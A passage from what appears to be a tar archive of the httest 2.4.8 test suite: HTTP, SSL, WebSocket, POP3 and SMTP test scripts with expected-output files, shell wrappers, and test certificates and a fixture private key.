__ __ END httest-2.4.8/test/block_declare_after.htt0000664000175100017510000000006312141535454015422 00000000000000 CLIENT _CALL afterwards END BLOCK afterwards END httest-2.4.8/test/client2.key.pem0000664000175100017510000000156712141535454013613 00000000000000-----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQDM8bb/pv/L7QpEqIxB13x2BJXqCMu0Zi4l1EjN0p43pnHVcWdb BvyTv7m2lHdePbukm1NPvPuCpxYhsnbS3hNmvIvKm6pP1/JnTFUNROTtiajH/nQe 796NiIYhqaskTYCp6JKPRDr9ZzglzBOI3wfwgeWnS6VjjdQ3KuDtODJ4qQIDAQAB AoGBAJTQn7UbqnqFcQNR8CaPNkzsH3+FS4V+/NtzPjpWSZTXQ6ldY1Nxy03t1giB 3fuMkAiC0QgBjg/dC/EECcwsfaC7NNkuzU45yoyJMBU40gc5G2k//05JmpT3n7jh g2MyWjXB/vVCGUVKyNA2Jbb71t0l7BR2ZqzVV4io/hYPt0aRAkEA7n1nY/U1U0d9 z5I2CTglVj6T5fISmfL0ylO6piP/19xVq+vCuNmIx12gq31LcmmO5hun5uSVz7Sd PbsWZtTcAwJBANv9y4n1HTv/QA5IwYm/EnbWk78eflVQKHi2IhA42yNkdoOXuAg2 9fKOvSp0Cq0prwa0ng3eM5DeehkuMXauduMCQFCIBAua14DhmTgoVRrT3Le8tdBl 56YYhlRz5YkIivHnMv60w7ILssYvdXuy+XEO9/P3zsCG25ehk58ut6fNpOUCQDdn NnB7C67FfONcDWncdhD5v2HdkyF3O4oTDIcbWo0SSwqfFhjzhoNc0WU0rk+n9M1y hW+mq0Pr08ItsQVbsNMCQA94wlDk+5ALXpd0iIVjTdwhqupMvn7JbPRxrAu4arGO OBSAfk2G56dp6O8gDVtNsydtHWm387v/VFXCDf4tI3Q= -----END RSA PRIVATE KEY----- httest-2.4.8/test/multi_line_variable.hte0000664000175100017510000000012712203674077015464 00000000000000CLIENT _SET Afoo.txt _END IF END FILE foo.txt END httest-2.4.8/test/unused_expect_exec.txt0000664000175100017510000000000012141535454015356 00000000000000httest-2.4.8/test/websocket_huge.htt0000664000175100017510000000225412203674100014461 00000000000000REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb SET 10K=$1K$1K$1K$1K$1K$1K$1K$1K$1K$1K SET 100K=$10K$10K$10K$10K$10K$10K$10K$10K$10K$10K BLOCK:LUA WebsocketAccept websocketKey : result return crypto.base64.encode(crypto.evp.digest("sha1", websocketKey.."258EAFA5-E914-47DA-95CA-C5AB0DC85B11", true)) END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __Upgrade: websocket __Connection: Upgrade __Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== __Origin: http://$YOUR_HOST:$YOUR_PORT __Sec-WebSocket-Protocol: chat, superchat __Sec-WebSocket-Version: 13 __ _EXPECT headers "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK\+xOo=" _WAIT _EXPECT . "BEGIN.*END" _WS:RECV OP LEN _ASSERT "$LEN == 65546" _CLOSE END SERVER $YOUR_PORT _RES _MATCH headers "Sec-WebSocket-Key: (.*)" WebsocketKey _WAIT __HTTP/1.1 101 Switching Protocols __Upgrade: websocket __Connection: Upgrade #__Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= __Sec-WebSocket-Accept: $WebsocketAccept($WebsocketKey) __Sec-WebSocket-Protocol: chat __ _FLUSH _WS:SEND TEXT AUTO "BEGIN $10K$10K$10K$10K$10K$10K$1K$1K$1K$1K END" _CLOSE END httest-2.4.8/test/leftovertmpf.htt0000664000175100017510000000030612203674077014211 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/test/shell.htb CLIENT setShellCommandVars _EXEC $LS > ls_before #_SH #!/bin/bash _SH echo END # now httest remove this file on finish FILE ls_before END httest-2.4.8/test/ifvareq.htt0000664000175100017510000000017512141535454013131 00000000000000INCLUDE $TOP/test/config.htb CLIENT _SET VARA=foo _SET VARB=foo _IF "$VARA" MATCH "$VARB" _EXIT OK _END IF _EXIT FAILED END httest-2.4.8/test/sendfile.htt0000664000175100017510000000056312141535454013266 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/plain __ _SENDFILE foo.txt END FILE foo.txt _==AS1 OK== END httest-2.4.8/test/var_expect.hte0000664000175100017510000000011312141535454013605 00000000000000CLIENT _SET TMP=Foo bar _EXPECT VAR(TMP) "^Do not match TMP variable$" END httest-2.4.8/test/test_run_shell.sh0000775000175100017510000000005512141535454014341 00000000000000#!/bin/bash ./_wrapper_test.sh run_shell.sh httest-2.4.8/test/multi_line_variable.txt0000664000175100017510000000031312203674077015520 00000000000000 multi_line_variable.hte:2: error: No ending delimiter "OF" found for multiline variable multi_line_variable.hte:2: error: Key not specified multi_line_variable.hte:2: error: CLT0-0 Internal error(20014)httest-2.4.8/test/recv_eof.htt0000664000175100017510000000063712141535454013267 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _SOCKET _EXPECT . "HTTP/1.1 200 OK" _READLINE _READLINE _READLINE _EXPECT . "Fooo" _EXPECT . "Baar" _EXPECT . "Blafasel" _RECV Close _END SOCKET END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Connection: close __ __Fooo __Baar __Blafasel END httest-2.4.8/test/neg_content_length.htt0000664000175100017510000000037312141535454015340 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: -1 __ END httest-2.4.8/test/autoclose.hte0000664000175100017510000000074712203674077013464 00000000000000@:SKIP $OS mac # error messages can be different @:SKIP $OS win # error messages are different INCLUDE $TOP/test/config.htb CLIENT _AUTO_CLOSE off _LOOP 2 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _WAIT _END LOOP END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __== OK == _CLOSE _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __== OK == END httest-2.4.8/test/request_ended_server.htt0000664000175100017510000000103212141535454015702 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __Foobar _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _WAIT _CLOSE _SLEEP 1000 # "unix|windows" _EXPECT ERROR "Connection refused|No connection could be made because the target machine actively refused it" _REQ $YOUR_HOST $YOUR_PORT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ __AS1 END httest-2.4.8/test/macro_too_many_redirects.htt0000664000175100017510000000104412141535454016542 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/macros/simple_request.htb INCLUDE $TOP/macros/simple_urlenc.htb INCLUDE $TOP/macros/simple_multipart.htb CLIENT _USE SIMPLE _AUTO_COOKIE on _GET http://$YOUR_HOST:$YOUR_PORT/bla/fasel HTTP/1.1 _WAIT END SERVER $YOUR_PORT _LOOP -1 _RES _WAIT __HTTP/1.1 302 Found __Location: http://$YOUR_HOST:$YOUR_PORT/foo/bar __Content-Length: AUTO __Set-Cookie: foo=bar; path=/bla/fasel __ __REDIRECT 1 _END LOOP END BLOCK ON_ERROR _IF "$__ERROR" MATCH "Invalid argument" _EXIT OK _ELSE _EXIT FAILED _END IF END httest-2.4.8/test/unused_expect_body.txt0000664000175100017510000000013112203674077015400 00000000000000 unused_expect_body.hte:2: error: There are unused EXPECT body httest-2.4.8/test/daemon.htt0000664000175100017510000000005112205174226012725 00000000000000 INCLUDE $TOP/test/config.htb CLIENT END httest-2.4.8/test/pop3_simple.htt0000664000175100017510000000121112141535454013716 00000000000000PATH $TOP/test:$TOP/macros INCLUDE config.htb INCLUDE pop3.htb CLIENT _POP3:CONNECT $YOUR_HOST $YOUR_PORT _POP3:SEND "USER liesch@gmx.ch" _POP3:WAIT _POP3:SEND "PASS foo" _POP3:WAIT _POP3:SEND "LIST" _POP3:WAIT_MULTI _EXPECT . "Hallo" _EXPECT . "Mail" _POP3:SEND "RETR 1" _POP3:WAIT_MULTI _POP3:SEND "QUIT" _EXPECT . "\+OK" _POP3:WAIT END SERVER $YOUR_PORT _RES __+OK Hello _FLUSH _EXPECT . "USER" _READLINE __+OK _FLUSH _EXPECT . "PASS" _READLINE __+OK _FLUSH _EXPECT . "LIST" _READLINE __+OK __1 123 __2 456 __3 789 __. _FLUSH _EXPECT . "RETR" _READLINE __+OK __Hallo __das ist ein __Mail __. _FLUSH _EXPECT . "QUIT" _READLINE __+OK _FLUSH END httest-2.4.8/test/smtp_simple.htt0000664000175100017510000000124212141535454014024 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/macros/smtp.htb CLIENT # connect to host and port same like wellknown _REQ command _SMTP:CONNECT $YOUR_HOST $YOUR_PORT # sending smtp command with a single line return _SMTP:SEND "HELO bluewin.ch" _EXPECT . "220" _SMTP:WAIT # sending smtp command with multiline return _SMTP:SEND "HELP" _EXPECT . "220" _EXPECT . "250" _SMTP:WAIT _SMTP:SEND "QUIT" _EXPECT . "220" _SMTP:WAIT END SERVER $YOUR_PORT _RES __220 small stupid smtp test server _FLUSH _READLINE __220 say HELO too _FLUSH _READLINE __220-Help text 1 __220-Help text 2 __250-Help text 3 __220-Help text 4 __220-Help text 5 __220 Final _FLUSH _READLINE __220 terminate END httest-2.4.8/test/ssl_simple2.htt0000664000175100017510000000137012141535454013726 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST $YOUR_PORT _SSL:CONNECT SSL client.cert.pem client.key.pem __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _CERT server.cert.pem server.key.pem _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ _RES _WAIT __HTTP/1.1 200 OK __Connection: close __Content-Type: text/html __ __==AS1 - 0== __ _CLOSE END httest-2.4.8/test/exec_last_line_not_newline.htt0000664000175100017510000000247412141535454017057 00000000000000INCLUDE $TOP/test/config.htb SET 1K=............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Content-Length: AUTO __ _-BEGIN$1K$1K$1K$1K$1K$1K$1K$1K${1K}END _WAIT END SERVER $YOUR_PORT _RES _EXEC| cat > foo.txt _WAIT __HTTP/1.1 200 Ok __ _EXPECT EXEC "BEGIN" _EXPECT EXEC "END" _EXEC cat foo.txt END FILE foo.txt END httest-2.4.8/test/trace_on_failure.txt0000664000175100017510000000045512205174226015013 00000000000000 trace_on_failure_3.htb:3: error: EXPECT .: Did expect "AS2 OK" trace_on_failure_2.htb:5: error: CLT0-0 Invalid argument(22) trace_on_failure.htb:8: error: CLT0-0 Invalid argument(22) trace_on_failure.hte:6: error: CLT0-0 Invalid argument(22) trace_on_failure.hte:6: error: CLT0-0 Invalid argument(22)httest-2.4.8/test/grep.htt0000664000175100017510000000203212141535454012423 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _GREP headers "Foo: (.*)" VAR _WAIT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Content-Length: AUTO __ __Result: $VAR _GREP headers "Foo: (.*)" VAR _EXPECT headers "HTTP/1.1 200 OK" _WAIT _SET I=0 _LOOP 1000 _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Content-Length: AUTO __ __Result: ${VAR}${I} _GREP headers "Foo: (.*)" VAR _EXPECT headers "HTTP/1.1 200 OK" _WAIT _MATH:EVAL "$I + 1" I _END LOOP END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Foo: Bar __Content-Length: AUTO __ __== OK == _RES _EXPECT headers "!Bar" _EXPECT body "Bar" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == _SET I=0 _LOOP 1000 _RES _EXPECT headers "!Bar" _EXPECT body "Bar$I" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == _MATH:EVAL "$I + 1" I _END LOOP END httest-2.4.8/test/block_lua_cert.htt0000664000175100017510000000347212141535454014447 00000000000000REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb BLOCK:LUA MyCertSubjectName : name b64 cert = [[ -----BEGIN CERTIFICATE----- MIIDYTCCAsqgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBhzEPMA0GA1UEAxMGaHR0 LmNhMQswCQYDVQQGEwJDSDEPMA0GA1UECBMGQWFyZ2F1MQ8wDQYDVQQHEwZXb2hs ZW4xHDAaBgNVBAoTE2h0dC5zb3VyY2Vmb3JnZS5uZXQxJzAlBgkqhkiG9w0BCQEW GGlhOTdsaWVzQHNvdXJjZWZvcmdlLm5ldDAeFw0xMTAxMTMyMjEwMDNaFw0yMTAx MTAyMjEwMDNaMHYxCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUxHDAaBgNV BAoTE2h0dC5zb3VyY2Vmb3JnZS5uZXQxDzANBgNVBAMTBmh0dC5jYTEnMCUGCSqG SIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0MIGfMA0GCSqGSIb3DQEB AQUAA4GNADCBiQKBgQDUGKpClhhzdQYFE+A+ROrUChgNivDerUl0fTuPh8EO1j4s LjlVUM8s2PuDA4cKR+QvU7cLLNf3xcXav/+58BHOKitPZnz5MxX3CgsaVMURVoq+ GLEzPPponZrv4Sog7Y14tXAra9h8TSPfFX/oBdd35bY0uQTDvIuHgva7nzFYwwID AQABo4HsMIHpMAkGA1UdEwQCMAAwHQYDVR0OBBYEFMiqXe9E1iq2OYmcFCX06jo/ wbDIMIG8BgNVHSMEgbQwgbGAFBnSZTcoCx5jO9S1H/VuI3Q86PRRoYGNpIGKMIGH MQ8wDQYDVQQDEwZodHQuY2ExCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUx DzANBgNVBAcTBldvaGxlbjEcMBoGA1UEChMTaHR0LnNvdXJjZWZvcmdlLm5ldDEn MCUGCSqGSIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0ggkAnnLxobd7 aHcwDQYJKoZIhvcNAQEFBQADgYEAfwWdKkhRTEfig5QRqLaV/u7Nziwo+huo0Cur AurLQzXt+Bung5iNqDAytIrOjfq+N7c+5zic3BItRMMO30/9J5qTNaJOwNdphRjO i39ykFcqxz3kDfZknFNti0rYdADxSacJKzNsqRlhrQ/IkrXhZWo2FTOJHXW8/+xz NFbyeF0= -----END CERTIFICATE----- ]] cert = crypto.x509.new(cert); certname = cert:get_subject_name(); certnamB64 = crypto.base64.encode(certname:toasn1()); assert(certnamB64 == "MHYxCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUxHDAaBgNVBAoTE2h0dC5zb3VyY2Vmb3JnZS5uZXQxDzANBgNVBAMTBmh0dC5jYTEnMCUGCSqGSIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0"); return certname:tostring(), crypto.base64.encode(certname:toasn1()); END CLIENT MyCertSubjectName NAME B64 _EXPECT VAR(NAME) "emailAddress=ia97lies" _EXPECT VAR(B64) "MHY.*Z2UubmV0" END httest-2.4.8/test/ca.cert.pem0000664000175100017510000000237112203674077013001 00000000000000-----BEGIN CERTIFICATE----- MIIDfjCCAuegAwIBAgIJAMCdvHO5qoATMA0GCSqGSIb3DQEBBQUAMIGHMQ8wDQYD VQQDEwZodHQuY2ExCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUxDzANBgNV BAcTBldvaGxlbjEcMBoGA1UEChMTaHR0LnNvdXJjZWZvcmdlLm5ldDEnMCUGCSqG SIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0MB4XDTEzMDQyOTE1MDUz N1oXDTIzMDQyNzE1MDUzN1owgYcxDzANBgNVBAMTBmh0dC5jYTELMAkGA1UEBhMC Q0gxDzANBgNVBAgTBkFhcmdhdTEPMA0GA1UEBxMGV29obGVuMRwwGgYDVQQKExNo dHQuc291cmNlZm9yZ2UubmV0MScwJQYJKoZIhvcNAQkBFhhpYTk3bGllc0Bzb3Vy Y2Vmb3JnZS5uZXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAM3r+6xL2+tU imVp3xjrhx4AwBcy9zUAGttUczDMzmrvbnWfo2EPkd++KJSs7QlT1UiijrrlzPEW 5g3idZ5Ggzd+W7b2c/+PSiqEoWykOUhnahdW3zEm1WFT/QhaX10OvMXPYkmDXzs8 fbKpzxn6os6pvcIuAS0Zl7RBaevGavRxAgMBAAGjge8wgewwHQYDVR0OBBYEFJsz I9rB5rlY4YYlW4kqqZfgHsKgMIG8BgNVHSMEgbQwgbGAFJszI9rB5rlY4YYlW4kq qZfgHsKgoYGNpIGKMIGHMQ8wDQYDVQQDEwZodHQuY2ExCzAJBgNVBAYTAkNIMQ8w DQYDVQQIEwZBYXJnYXUxDzANBgNVBAcTBldvaGxlbjEcMBoGA1UEChMTaHR0LnNv dXJjZWZvcmdlLm5ldDEnMCUGCSqGSIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9y Z2UubmV0ggkAwJ28c7mqgBMwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOB gQCCQcsC8q/XBLkAHeeuKJ29pXItQu34MGSV0zFE7jGizx7rEY12a5DXFidh2ba5 tuK/ufooh+4p2KHhlyWG9gpGlZv9jARzSOQ+wjtNtqe83jnWRk+pd38mm5CHPWj2 i3ywYMSO0RH1c68pzHXUf/buoEXeXuFlYkSTBPUui6a/bQ== -----END CERTIFICATE----- httest-2.4.8/test/expect_with_trash_behind.hte0000664000175100017510000000006412203674077016513 00000000000000CLIENT _EXPECT . "fooo bar" bla bla" fasel bla" END httest-2.4.8/test/autoclose2.htt0000664000175100017510000000060612141535454013553 00000000000000INCLUDE $TOP/test/config.htb AUTO_CLOSE on CLIENT _LOOP 2 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _WAIT _END LOOP END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __== OK == _CLOSE _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __== OK == END httest-2.4.8/test/mixed_socket.htt0000664000175100017510000000066612141535454014157 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST SSL:$SSL_PORT __GET / HTTP/1.1 __Host: localhost __ _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: localhost __ _WAIT _SLEEP 1000 # "unix|windows" _EXPECT ERROR "Connection refused\([0-9]+\)|No connection could be made" _REQ $YOUR_HOST SSL:$YOUR_PORT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __ END SERVER SSL:$SSL_PORT _RES _WAIT __HTTP/1.1 200 OK __ END httest-2.4.8/test/test_run_ntlm.sh0000775000175100017510000000006212141535454014202 00000000000000#!/bin/bash $srcdir/_wrapper_test.sh run_ntlm.sh httest-2.4.8/test/simple_stat.htt0000664000175100017510000000043612141535454014020 00000000000000INCLUDE $TOP/test/config.htb PERF:STAT ON CLIENT _LOOP 500 _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __ _WAIT _END END SERVER $YOUR_PORT _LOOP 500 _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ __Hallo Velo _END END httest-2.4.8/test/run_all.sh0000775000175100017510000000035712203674077012754 00000000000000#!/bin/bash if [ -z $srcdir ]; then srcdir=. fi . $srcdir/run_lib.sh function run_single { E=$1 OUT=$2 ./run.sh $E >> $OUT 2>> $OUT } echo normal test execution LIST=`ls *.htt` COUNT=`ls *.htt | wc -l` run_all "$LIST" $COUNT httest-2.4.8/test/var_expect.htt0000664000175100017510000000007112141535454013627 00000000000000CLIENT _SET TMP=Foo bar _EXPECT VAR(TMP) "^Foo bar$" END httest-2.4.8/test/match_order_threaded.htt0000664000175100017510000000077712141535454015633 00000000000000INCLUDE $TOP/test/config.htb CLIENT 20 _LOOP 10 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _MATCH body "(Astroid)" first _MATCH body "(Foobar)" second _MATCH body "(Velo)" third _MATCH body "(Hallo)" forth _SEQUENCE first second third forth _WAIT _END END SERVER $YOUR_PORT 20 _LOOP 10 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __Astroid __Foobar __Velo __Hallo _END END httest-2.4.8/test/exec_httest.htt0000664000175100017510000000053412141535454014012 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/test/shell.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT2 __POST / HTTP/1.1 __Host: $YOUR_HOST __Content-Length: AUTO __ setShellCommandVars _PIPE _EXEC $CAT main_functionality.htt _EXPECT . "HTTP/1.1 200 Ok" _WAIT END SERVER $YOUR_PORT2 _RES _SLEEP 100 _EXEC| ../src/httest -Ss _WAIT __HTTP/1.1 200 Ok __ END httest-2.4.8/test/ssl_server_cert_verify3.htt0000664000175100017510000000110012141535454016334 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST $YOUR_PORT _SSL:CONNECT SSL ca.cert.pem _RENEG verify _SSL:GET_CERT_VALUE M_VERSION version _SSL:GET_CERT_VALUE S_DN dn __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __Cert version $version __den $dn _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/autoclose.txt0000664000175100017510000000022612205174226013504 00000000000000 autoclose.hte:14: error: CLT0-0 Broken pipe(32) autoclose.hte:14: error: Error in loop with count = 1 autoclose.hte:14: error: CLT0-0 Broken pipe(32)httest-2.4.8/test/dummy3.htb0000664000175100017510000000001212141535454012656 00000000000000SET FOO=1 httest-2.4.8/test/test_run_visual.sh0000775000175100017510000000006412141535454014535 00000000000000#!/bin/bash $srcdir/_wrapper_test.sh run_visual.sh httest-2.4.8/test/embedded_sh.htt0000664000175100017510000000107512141535454013717 00000000000000INCLUDE $TOP/test/config.htb CLIENT _MATCH exec "(foobar)" BAR _MATCH exec "(blabla)" BLA _SH #!/bin/bash _SH echo foobar _SH echo blabla _SH END _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __$BAR $BLA _EXPECT . "foo" _WAIT END SERVER $YOUR_PORT _RES _EXPECT . "foobar blabla" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ _PIPE _SH #!/bin/bash _SH echo foo #_SH if test "$?" = "0"; then #_SH echo success #_SH else #_SH echo failed #_SH fi _SH END END httest-2.4.8/test/binary_protocol.hte0000664000175100017510000000044712203674077014670 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT #_CACHE_COUNT SET 0 _BINARY:SEND "03 00" #_X HTON16 AUTO.LEN _BINARY:SEND "41 41 41 41 41" #_CACHE_COUNT GET LEN _FLUSH END SERVER $YOUR_PORT _RES _EXPECT . "03 01" _BINARY:RECV 2 #_RECV NTOH16 LEN #_RECV $LEN _BINARY:RECV 5 END httest-2.4.8/test/test_run_help.sh0000775000175100017510000000006212203674077014164 00000000000000#!/bin/bash $srcdir/_wrapper_test.sh run_help.sh httest-2.4.8/test/no_ssl_port_set.hte0000664000175100017510000000007512141535454014670 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ localhost SSL: END httest-2.4.8/test/unused_expect_dot.txt0000664000175100017510000000013112203674077015231 00000000000000 unused_expect_dot.hte:2: error: There are unused EXPECT . httest-2.4.8/test/syntax_invalid_local.hte0000664000175100017510000000007512141535454015662 00000000000000INCLUDE $TOP/test/config.htb CLIENT _EXEC echo foo _Foo END httest-2.4.8/test/block_js_on_the_fly.htt0000664000175100017510000000066612141535454015475 00000000000000REQUIRE_MODULE JS INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __ _WAIT BUF _JS:BLOCK_CREATE "onTheFly p1 p2 : return" VAR(BUF) onTheFly foo "bal bla" val _EXPECT VAR(val) "foobal bla hello world" END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/javascript __Content-Length: AUTO __ __return p1 + p2 + " hello" + " world"; END httest-2.4.8/test/debug.visual0000664000175100017510000000030212203674077013262 00000000000000run debug.htt CLT0-0 start ... _DEBUG any text which sould appear in any case any text which sould appear in any case OK httest-2.4.8/test/ca2.cert.pem0000664000175100017510000000237112141535454013057 00000000000000-----BEGIN CERTIFICATE----- MIIDfjCCAuegAwIBAgIJAJ+j7GJe13WAMA0GCSqGSIb3DQEBBQUAMIGHMQ8wDQYD VQQDEwZodHQuY2ExCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUxDzANBgNV BAcTBldvaGxlbjEcMBoGA1UEChMTaHR0LnNvdXJjZWZvcmdlLm5ldDEnMCUGCSqG SIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0MB4XDTEyMDEyOTIxMDMw M1oXDTIyMDEyNjIxMDMwM1owgYcxDzANBgNVBAMTBmh0dC5jYTELMAkGA1UEBhMC Q0gxDzANBgNVBAgTBkFhcmdhdTEPMA0GA1UEBxMGV29obGVuMRwwGgYDVQQKExNo dHQuc291cmNlZm9yZ2UubmV0MScwJQYJKoZIhvcNAQkBFhhpYTk3bGllc0Bzb3Vy Y2Vmb3JnZS5uZXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAOAPK3n2Lcsw ZAS0vZMT/Q3meFeC3hlKvy9LZhp8Ozuz3RIivfbBKbhrGsSBrM1exFQVQJnKcNxv s9CprEoN+8TtpRP+HpUH1X6kSjqKmdNPlwRtrtx5Gpq36I4qDwgOivoItMbsvzo2 pyeNNqeoyeLsKgJ5g5Mxh3RgqOe4GKU5AgMBAAGjge8wgewwHQYDVR0OBBYEFBTe 7qyexBIy5Qsmf4ZTPVjVAM3iMIG8BgNVHSMEgbQwgbGAFBTe7qyexBIy5Qsmf4ZT PVjVAM3ioYGNpIGKMIGHMQ8wDQYDVQQDEwZodHQuY2ExCzAJBgNVBAYTAkNIMQ8w DQYDVQQIEwZBYXJnYXUxDzANBgNVBAcTBldvaGxlbjEcMBoGA1UEChMTaHR0LnNv dXJjZWZvcmdlLm5ldDEnMCUGCSqGSIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9y Z2UubmV0ggkAn6PsYl7XdYAwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOB gQB85uxPm84p+9Eh4MbTHIhx5KT8vfchGikIGo7X5T44/Cg4jyCiYzwrpAz9LYp9 kskp3YdxNr9ZFCM0h0xM0/ceDmwxgP4WNMJtJkJk/bq+QDv5wUHlstRjP05cIBv0 /vDl4jzIp+1hdWdguRPzuAp2LEWo8/nKpujudiuCY+xQFg== -----END CERTIFICATE----- httest-2.4.8/test/unused_expect_headers.hte0000664000175100017510000000004012141535454016012 00000000000000CLIENT _EXPECT headers ".*" END httest-2.4.8/test/ifnumber.htt0000664000175100017510000000026312141535454013301 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _IF "3" EQ "3" _IF "4" NOT EQ "3" _IF "4" EQ "!3" _EXIT OK _END IF _END IF _END IF _EXIT FAILED END httest-2.4.8/test/breakfor.htt0000664000175100017510000000027612141535454013271 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _FOR 